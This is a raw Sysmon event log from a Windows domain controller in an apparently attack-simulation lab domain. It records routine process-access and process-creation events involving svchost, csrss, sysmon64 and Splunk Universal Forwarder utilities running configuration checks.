09:11:45.461{A5F018FF-294F-5F80-0901-000000007F01}21084736C:\Windows\system32\conhost.exe{A5F018FF-2951-5F80-1F01-000000007F01}4544C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\SYSTEM32\ConhostV2.dll+5c07|C:\Windows\SYSTEM32\ConhostV2.dll+76ab|C:\Windows\SYSTEM32\ConhostV2.dll+a84c|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005217Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:45.461{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005216Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:45.461{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005215Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:45.461{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005214Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:45.461{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005213Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:45.461{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005212Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:45.461{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005211Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:45.461{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005210Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:45.461{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005209Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:45.461{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005208Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:45.461{A5F018FF-28BC-5F80-0500-000000007F01}644772C:\Windows\system32\csrss.exe{A5F018FF-2951-5F80-1F01-000000007F01}4544C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x80000000000000005207Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:45.461{A5F018FF-294F-5F80-1601-000000007F01}44924100C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe{A5F018FF-2951-5F80-1F01-000000007F01}4544C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7194|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe+4022c|C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe+403f8|C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe+404c7|C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe+40fee|C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe+18226|C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe+1adfc|C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe+4cf68|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 154100x80000000000000005206Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:45.461{A5F018FF-2951-5F80-1F01-000000007F01}4544C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe8.0.2splunkd servicesplunk ApplicationSplunk Inc.splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd" check-transforms-keysC:\Windows\system32\NT AUTHORITY\SYSTEM{A5F018FF-28BD-5F80-E703-000000000000}0x3e70SystemMD5=B6D66AB97239BFB32F1CC9B8BFE1B4E0,SHA256=9D5EC3AA587B29840BE53E8E11B1C3BFE2FA3413DD65459325CBEEAFA66D3975,IMPHASH=CD69F86EE9B3C12390F5C7499BD3A589{A5F018FF-294F-5F80-1601-000000007F01}4492C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe" _internal pre-flight-checks --answer-yes --no-prompt 10341000x80000000000000005205Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:45.399{A5F018FF-2951-5F80-1E01-000000007F01}32244372C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE{A5F018FF-294E-5F80-0501-000000007F01}3504C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe0x101400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE+116e675|C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE+116e1a6|C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE+f344c|C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE+f2a91|C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE+19fdb50|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005204Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:45.164{A5F018FF-294F-5F80-0901-000000007F01}21084736C:\Windows\system32\conhost.exe{A5F018FF-2951-5F80-1E01-000000007F01}3224C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\SYSTEM32\ConhostV2.dll+5c07|C:\Windows\SYSTEM32\ConhostV2.dll+76ab|C:\Windows\SYSTEM32\ConhostV2.dll+a84c|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005203Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:45.164{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005202Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:45.164{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005201Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:45.164{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005200Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:45.164{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005199Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:45.164{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005198Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:45.164{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005197Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:45.164{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005196Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:45.164{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005195Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:45.164{A5F018FF-28BC-5F80-0500-000000007F01}6442396C:\Windows\system32\csrss.exe{A5F018FF-2951-5F80-1E01-000000007F01}3224C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x80000000000000005194Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:45.164{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005193Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:45.164{A5F018FF-2951-5F80-1D01-000000007F01}12884740C:\Program Files\SplunkUniversalForwarder\bin\btool.exe{A5F018FF-2951-5F80-1E01-000000007F01}3224C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7194|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\btool.exe+239c|C:\Program Files\SplunkUniversalForwarder\bin\btool.exe+2568|C:\Program Files\SplunkUniversalForwarder\bin\btool.exe+2926|C:\Program Files\SplunkUniversalForwarder\bin\btool.exe+11cf|C:\Program Files\SplunkUniversalForwarder\bin\btool.exe+1245|C:\Program Files\SplunkUniversalForwarder\bin\btool.exe+aa24|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 154100x80000000000000005192Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:45.168{A5F018FF-2951-5F80-1E01-000000007F01}3224C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe8.0.2splunkd servicesplunk ApplicationSplunk Inc.splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE" btool validate-regex --log-warningsC:\Windows\system32\NT AUTHORITY\SYSTEM{A5F018FF-28BD-5F80-E703-000000000000}0x3e70SystemMD5=B6D66AB97239BFB32F1CC9B8BFE1B4E0,SHA256=9D5EC3AA587B29840BE53E8E11B1C3BFE2FA3413DD65459325CBEEAFA66D3975,IMPHASH=CD69F86EE9B3C12390F5C7499BD3A589{A5F018FF-2951-5F80-1D01-000000007F01}1288C:\Program Files\SplunkUniversalForwarder\bin\btool.exe"C:\Program Files\SplunkUniversalForwarder\bin\btool" validate-regex --log-warnings 10341000x80000000000000005191Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:45.164{A5F018FF-294F-5F80-0901-000000007F01}21084736C:\Windows\system32\conhost.exe{A5F018FF-2951-5F80-1D01-000000007F01}1288C:\Program 